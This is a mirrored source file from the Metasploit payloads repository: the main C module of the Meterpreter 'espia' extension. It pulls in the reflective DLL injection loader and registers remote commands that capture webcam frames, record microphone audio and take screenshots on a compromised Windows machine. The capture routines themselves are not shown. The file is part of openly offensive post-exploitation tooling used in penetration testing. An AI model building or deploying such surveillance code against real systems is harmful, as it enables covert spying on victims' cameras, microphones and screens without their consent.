mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-22 03:19:04 +01:00
80 lines
2.1 KiB
C
Executable File
80 lines
2.1 KiB
C
Executable File
/*
|
|
* This module implemenet webcam frae capture and mic recording features.
|
|
*/
|
|
#define _CRT_SECURE_NO_DEPRECATE 1
|
|
#include "../../common/common.h"
|
|
#include "espia.h"
|
|
#include "audio.h"
|
|
#include "video.h"
|
|
#include "screen.h"
|
|
|
|
|
|
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
|
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
|
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
|
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
|
#include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
|
|
|
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
|
|
|
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
|
EnableDelayLoadMetSrv();
|
|
|
|
Command customCommands[] =
|
|
{
|
|
// Video
|
|
{ "espia_video_get_dev_image",
|
|
{ request_video_get_dev_image, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Audio
|
|
{ "espia_audio_get_dev_audio",
|
|
{ request_audio_get_dev_audio, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Screen
|
|
{ "espia_image_get_dev_screen",
|
|
{ request_image_get_dev_screen, { 0 }, 0 },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
|
|
// Terminator
|
|
{ NULL,
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
{ EMPTY_DISPATCH_HANDLER },
|
|
},
|
|
};
|
|
|
|
/*
|
|
* Initialize the server extension
|
|
*/
|
|
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
|
{
|
|
DWORD index;
|
|
|
|
hMetSrv = remote->hMetSrv;
|
|
|
|
for (index = 0;
|
|
customCommands[index].method;
|
|
index++)
|
|
command_register(&customCommands[index]);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* Deinitialize the server extension
|
|
*/
|
|
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
|
{
|
|
DWORD index;
|
|
|
|
for (index = 0;
|
|
customCommands[index].method;
|
|
index++)
|
|
command_deregister(&customCommands[index]);
|
|
|
|
return ERROR_SUCCESS;
|
|
} |